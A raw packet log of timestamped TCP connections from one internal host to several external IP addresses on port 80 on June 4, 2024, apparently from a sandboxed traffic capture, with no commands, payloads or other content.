Jun 4, 2024 14:15:27.486660004 CEST	49847	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:27.638156891 CEST	80	49847	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:27.638436079 CEST	49847	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:27.639980078 CEST	49847	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:27.791244030 CEST	80	49847	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:27.807467937 CEST	80	49847	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:27.807478905 CEST	80	49847	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:27.807631016 CEST	49847	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:29.147465944 CEST	49847	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:30.164849043 CEST	49848	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:30.316988945 CEST	80	49848	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:30.317230940 CEST	49848	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:30.318486929 CEST	49848	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:30.470426083 CEST	80	49848	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:30.485426903 CEST	80	49848	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:30.485558987 CEST	80	49848	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:30.485764980 CEST	49848	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:31.834466934 CEST	49848	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:32.855539083 CEST	49849	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:33.007028103 CEST	80	49849	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:33.007307053 CEST	49849	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:33.008725882 CEST	49849	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:33.160095930 CEST	80	49849	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:33.160157919 CEST	80	49849	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:33.175259113 CEST	80	49849	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:33.175332069 CEST	80	49849	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:33.175513029 CEST	49849	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:34.521238089 CEST	49849	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:35.538695097 CEST	49850	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:35.690279007 CEST	80	49850	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:35.690516949 CEST	49850	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:35.691826105 CEST	49850	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:35.843544006 CEST	80	49850	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:36.539907932 CEST	80	49850	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:36.539975882 CEST	80	49850	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:36.540030003 CEST	80	49850	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:36.540266991 CEST	49850	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:36.540266991 CEST	49850	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:36.541977882 CEST	49850	80	192.168.11.30	173.232.18.161
Jun 4, 2024 14:15:36.693538904 CEST	80	49850	173.232.18.161	192.168.11.30
Jun 4, 2024 14:15:41.757179976 CEST	49851	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:41.925532103 CEST	80	49851	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:41.925968885 CEST	49851	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:41.927440882 CEST	49851	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:42.096777916 CEST	80	49851	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:42.108845949 CEST	80	49851	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:42.108910084 CEST	80	49851	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:42.109075069 CEST	49851	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:43.441262007 CEST	49851	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:44.458640099 CEST	49852	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:44.626862049 CEST	80	49852	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:44.627142906 CEST	49852	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:44.628499031 CEST	49852	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:44.796677113 CEST	80	49852	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:44.811589956 CEST	80	49852	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:44.811655998 CEST	80	49852	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:44.811918020 CEST	49852	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:46.143800020 CEST	49852	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:47.160917044 CEST	49853	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:47.337362051 CEST	80	49853	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:47.337752104 CEST	49853	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:47.339118958 CEST	49853	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:47.517096043 CEST	80	49853	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:47.530402899 CEST	80	49853	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:47.530483961 CEST	80	49853	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:47.530822039 CEST	49853	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:48.846302986 CEST	49853	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:49.863974094 CEST	49854	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:50.045234919 CEST	80	49854	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:50.045696974 CEST	49854	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:50.046983957 CEST	49854	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:50.225474119 CEST	80	49854	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:50.239666939 CEST	80	49854	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:50.239737988 CEST	80	49854	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:50.240099907 CEST	49854	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:50.242062092 CEST	49854	80	192.168.11.30	203.161.49.193
Jun 4, 2024 14:15:50.420414925 CEST	80	49854	203.161.49.193	192.168.11.30
Jun 4, 2024 14:15:55.442578077 CEST	49855	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:55.669270992 CEST	80	49855	91.195.240.123	192.168.11.30
Jun 4, 2024 14:15:55.669600964 CEST	49855	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:55.670871973 CEST	49855	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:55.897732019 CEST	80	49855	91.195.240.123	192.168.11.30
Jun 4, 2024 14:15:55.897836924 CEST	80	49855	91.195.240.123	192.168.11.30
Jun 4, 2024 14:15:55.898067951 CEST	49855	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:57.172619104 CEST	49855	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:58.189932108 CEST	49856	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:58.420828104 CEST	80	49856	91.195.240.123	192.168.11.30
Jun 4, 2024 14:15:58.421211004 CEST	49856	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:58.423022032 CEST	49856	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:58.654165030 CEST	80	49856	91.195.240.123	192.168.11.30
Jun 4, 2024 14:15:58.654249907 CEST	80	49856	91.195.240.123	192.168.11.30
Jun 4, 2024 14:15:58.654599905 CEST	49856	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:15:59.937547922 CEST	49856	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:00.955600023 CEST	49857	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:01.182615995 CEST	80	49857	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:01.182833910 CEST	49857	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:01.185097933 CEST	49857	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:01.412535906 CEST	80	49857	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:01.412623882 CEST	80	49857	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:01.412681103 CEST	80	49857	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:01.412734985 CEST	80	49857	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:01.412838936 CEST	49857	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:01.640077114 CEST	80	49857	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:03.705657959 CEST	49858	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:03.930912018 CEST	80	49858	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:03.931317091 CEST	49858	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:03.932521105 CEST	49858	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:04.157922983 CEST	80	49858	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:04.158005953 CEST	80	49858	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:04.158510923 CEST	49858	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:04.160403967 CEST	49858	80	192.168.11.30	91.195.240.123
Jun 4, 2024 14:16:04.385606050 CEST	80	49858	91.195.240.123	192.168.11.30
Jun 4, 2024 14:16:10.482426882 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:11.497356892 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:13.512554884 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:17.527309895 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:25.541121960 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:32.573868036 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:33.586215019 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:35.601391077 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:39.616147995 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:47.629986048 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:54.663364887 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:55.675113916 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:16:57.690284967 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:17:01.705069065 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:17:09.718841076 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:17:16.751569033 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:17:17.764014006 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:17:19.779160976 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:17:23.793873072 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:17:31.807775021 CEST	49859	80	192.168.11.30	89.35.125.17
Jun 4, 2024 14:17:43.243810892 CEST	49860	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:43.401957989 CEST	80	49860	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:43.402172089 CEST	49860	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:43.404165983 CEST	49860	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:43.562212944 CEST	80	49860	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:43.562356949 CEST	80	49860	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:43.562504053 CEST	80	49860	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:43.562629938 CEST	49860	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:44.914267063 CEST	49860	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:45.932368994 CEST	49861	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:46.090231895 CEST	80	49861	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:46.090496063 CEST	49861	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:46.092276096 CEST	49861	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:46.250502110 CEST	80	49861	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:46.250518084 CEST	80	49861	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:46.250534058 CEST	80	49861	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:46.250740051 CEST	49861	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:47.601393938 CEST	49861	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:48.619932890 CEST	49862	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:48.777893066 CEST	80	49862	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:48.778207064 CEST	49862	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:48.780070066 CEST	49862	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:48.938325882 CEST	80	49862	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:48.938534021 CEST	80	49862	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:48.938546896 CEST	80	49862	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:48.938666105 CEST	49862	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:50.288022041 CEST	49862	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:51.306010008 CEST	49863	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:51.467453957 CEST	80	49863	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:51.467643023 CEST	49863	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:51.469299078 CEST	49863	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:51.630738020 CEST	80	49863	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:51.630954027 CEST	80	49863	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:51.630965948 CEST	80	49863	66.81.203.196	192.168.11.30
Jun 4, 2024 14:17:51.631525040 CEST	49863	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:51.634211063 CEST	49863	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:17:51.795679092 CEST	80	49863	66.81.203.196	192.168.11.30
Jun 4, 2024 14:18:02.207143068 CEST	49864	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:02.480655909 CEST	80	49864	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:02.480842113 CEST	49864	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:02.482475996 CEST	49864	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:02.755997896 CEST	80	49864	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:02.757194042 CEST	80	49864	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:02.757206917 CEST	80	49864	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:02.757216930 CEST	80	49864	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:02.757436991 CEST	49864	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:03.988177061 CEST	49864	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:05.008169889 CEST	49865	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:05.283458948 CEST	80	49865	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:05.283731937 CEST	49865	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:05.285547972 CEST	49865	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:05.560949087 CEST	80	49865	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:05.562218904 CEST	80	49865	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:05.562242031 CEST	80	49865	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:05.562259912 CEST	80	49865	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:05.562419891 CEST	49865	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:06.800008059 CEST	49865	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:07.821285963 CEST	49866	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:08.119206905 CEST	80	49866	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:08.119396925 CEST	49866	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:08.121305943 CEST	49866	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:08.419222116 CEST	80	49866	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:08.420351028 CEST	80	49866	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:08.420361996 CEST	80	49866	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:08.420389891 CEST	80	49866	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:08.420581102 CEST	49866	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:09.627521038 CEST	49866	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:10.648905993 CEST	49867	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:10.957603931 CEST	80	49867	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:10.957820892 CEST	49867	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:10.959743023 CEST	49867	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:11.268191099 CEST	80	49867	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:11.269223928 CEST	80	49867	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:11.269238949 CEST	80	49867	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:11.269294977 CEST	80	49867	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:11.269305944 CEST	80	49867	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:11.269601107 CEST	49867	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:11.274061918 CEST	49867	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:18:11.582483053 CEST	80	49867	162.43.104.164	192.168.11.30
Jun 4, 2024 14:18:25.851562023 CEST	49868	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:26.095046997 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.095304966 CEST	49868	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:26.097327948 CEST	49868	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:26.340779066 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778142929 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778270960 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778368950 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778383970 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778498888 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778513908 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778531075 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778543949 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778548002 CEST	49868	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:26.778554916 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778590918 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778603077 CEST	80	49868	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:26.778620958 CEST	49868	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:26.778703928 CEST	49868	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:26.778800964 CEST	49868	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:27.607955933 CEST	49868	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:28.626152039 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:28.872534037 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:28.872831106 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:28.874996901 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:29.121345997 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.506695032 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.506710052 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.506721973 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.506813049 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.506828070 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.506915092 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:29.506942987 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.506972075 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:29.506973028 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.507002115 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.507014036 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.507071018 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:29.507177114 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.507179022 CEST	80	49869	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:29.507230997 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:29.507304907 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:30.388498068 CEST	49869	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:31.408817053 CEST	49871	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:31.660537958 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:31.660938025 CEST	49871	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:31.663012981 CEST	49871	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:31.914758921 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:31.914839029 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250478029 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250514030 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250546932 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250683069 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250714064 CEST	49871	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:32.250798941 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250825882 CEST	49871	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:32.250839949 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250855923 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250881910 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250894070 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250905991 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.250933886 CEST	80	49871	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:32.251054049 CEST	49871	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:32.251203060 CEST	49871	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:33.169229031 CEST	49871	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:34.187937021 CEST	49872	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:34.438452005 CEST	80	49872	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:34.438656092 CEST	49872	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:34.440659046 CEST	49872	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:34.691198111 CEST	80	49872	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:34.802649975 CEST	80	49872	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:34.802664995 CEST	80	49872	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:34.802927017 CEST	49872	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:34.805227995 CEST	49872	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:18:35.055425882 CEST	80	49872	93.125.99.134	192.168.11.30
Jun 4, 2024 14:18:39.991955042 CEST	49873	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:40.123718023 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.123959064 CEST	49873	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:40.125907898 CEST	49873	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:40.257813931 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259381056 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259466887 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259524107 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259572983 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259602070 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259628057 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259653091 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259659052 CEST	49873	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:40.259677887 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259704113 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259736061 CEST	80	49873	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:40.259802103 CEST	49873	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:40.259933949 CEST	49873	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:40.259933949 CEST	49873	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:41.636024952 CEST	49873	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:42.654347897 CEST	49874	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:42.784704924 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.785001040 CEST	49874	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:42.786621094 CEST	49874	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:42.916882992 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917536974 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917686939 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917711020 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917726040 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917737961 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917748928 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917762041 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917773008 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917783976 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917795897 CEST	80	49874	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:42.917850971 CEST	49874	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:42.917947054 CEST	49874	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:44.291722059 CEST	49874	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:45.309993029 CEST	49875	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:45.441749096 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.441920996 CEST	49875	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:45.443568945 CEST	49875	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:18:45.575371027 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.575383902 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577114105 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577306032 CEST	80	49875	34.232.203.70	192.168.11.30
Jun 4, 2024 14:18:45.577318907 CEST	80	49875	34.232.203.70	192.168.11.30
